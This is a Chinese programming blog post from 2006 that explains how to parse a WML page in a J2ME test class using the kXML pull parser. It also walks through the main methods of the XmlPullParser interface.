    2.  * 项目名称             :<b>j2me学习 J2me Wap Explorer</b>            <br/> 

    3.  *  

    4.  * Copyright 2005-2006 Wuhua. All rights reserved </br> 

    5.  * 

    6.  * 本程序只用于学习目的,不能用于商业目的。如有需要请联系作者 

    7.  ********************************************************************/  

    8.   

    9. import java.io.ByteArrayInputStream;  

    10. import java.io.IOException;  

    11. import java.io.InputStreamReader;  

    12.   

    13. import org.kxml2.io.KXmlParser;  

    14. import org.xmlpull.v1.XmlPullParser;  

    15. import org.xmlpull.v1.XmlPullParserException;  

    16. import org.xmlpull.v1.XmlPullParserFactory;  

    17. /** 

    18.  * <b>类名:Test.java</b> </br> 编写日期: 2006-12-28 <br/> 程序功能描述: <br/> Demo: <br/> 

    19.  * Bug: <br/> 

    20.  *  

    21.  * 程序变更日期 :<br/> 变更作者 :<br/> 变更说明 :<br/> 

    22.  *  

    23.  * @author wuhua </br> <a href="mailto:rrq12345@163.com">rrq12345@163.com</a> 

    24.  */  

    25. public class Test {  

    26.   

    27.     //private static String xml = "<list><item>apple</item>"  

    28.         //  + "<item>orange</item>" + "<item>pear</item></list>";  

    29.   

    30.     private static String xml ="<?xml version=\"1.0\"?>"  

    31.     +"<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" "   

    32.     +"\"http://www.wapforum.org/DTD/wml_1.1.xml\">"  

    33.     +"<wml>"  

    34.     +"<card id=\"index\" title=\"天速\">"  

    35.     +"<p align=\"center\">天速科技</p>"  

    36.     +"<p align=\"center\"><a href=\"/t/main.a\"> 动漫天下 </a></p>"  

    37.     +"<p align=\"center\"><a href=\"/t/main.a\"> 国色天香 </a></p>"  

    38.     +"<p align=\"center\"><a href=\"/eb/main.a\">  风月书斋 </a></p>"  

    39.   

    40.     +"</card> </wml>";  

    41.     public static void main(String args[])  

    42.   

    43.     throws XmlPullParserException, IOException {  

    44.            

    45.            

    46.         ByteArrayInputStream bin = new ByteArrayInputStream(xml.getBytes());  

    47.         InputStreamReader in = new InputStreamReader(bin);  

    48.         KXmlParser parser = new KXmlParser();  

    49.         parser.setInput(in);  

    50.   

    51.         int eventType = parser.getEventType();  

    52.         while (eventType != XmlPullParser.END_DOCUMENT) {  

    53.             if (eventType == XmlPullParser.START_DOCUMENT) {  

    54.                 //System.out.println("Start document:");  

    55.             } else if (eventType == XmlPullParser.END_DOCUMENT) {  

    56.                 //System.out.println("End document");  

    57.             } else if (eventType == XmlPullParser.START_TAG) {  

    58.                 System.out.println("  " + parser.getName());  

    59.                 //System.out.println("Start Count: " + parser.getAttributeCount());  

    60.                 int  size = parser.getAttributeCount();  

    61.                 for(int i=0; i<size; i++){  

    62.                     System.out.println("  " + parser.getAttributeName(i));  

    63.                     System.out.println("  " + parser.getAttributeValue(i));  

    64.                 }  

    65.                    

    66.                   

    67.             } else if (eventType == XmlPullParser.END_TAG) {  

    68.                 System.out.println(" " + parser.getName());  

    69.             } else if (eventType == XmlPullParser.TEXT) {  

    70.                 System.out.println("  " + parser.getText());  

    71.             }  

    72.             eventType = parser.next();  

    73.         }  

    74.     }  

    75.   








    现在解释下上面的东西,

    XmlPullParser 只是个规范,可以到http://xmlpull.org/ 下载。我们来看看这个规范要求我们做些什么。

    里面主要的方法有
    java 代码


     


    1. //定义一个事件采用回调的方式,直到读取xml完毕。  

    2. public int getEventType() throws XmlPullParserException ;  

    3. //遍历下一个事件,返回一个事件的类型  

    4. public int next() throws XmlPullParserException, IOException  

    5. //得到当前Tag名字  

    6. public String getName();  

    7. //获取文本  

    8. public String getText();  

    9.   

    10. //得到当前Tag下面的属性数量  

    11. public int getAttributeCount() ;  

    12. //得到当前Tag下面指定位置的属性名称  

    13. public String getAttributeName(int index);  

    14.   

    15. //得到当前Tag下面指定位置的属性植  

    16. public String getAttributeValue(int index);  





    我们理解了XmlPullParser 可以自己实现一个XmlPullParser。不过java世界里好东西就是多。已经有人帮我们做了。

    啊就是kxml。

    这个API本身很简单。当时要把一个完整的wml解释并绘制在手机上还是要花相当的时间的。

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(543) | 评论 (0)编辑 收藏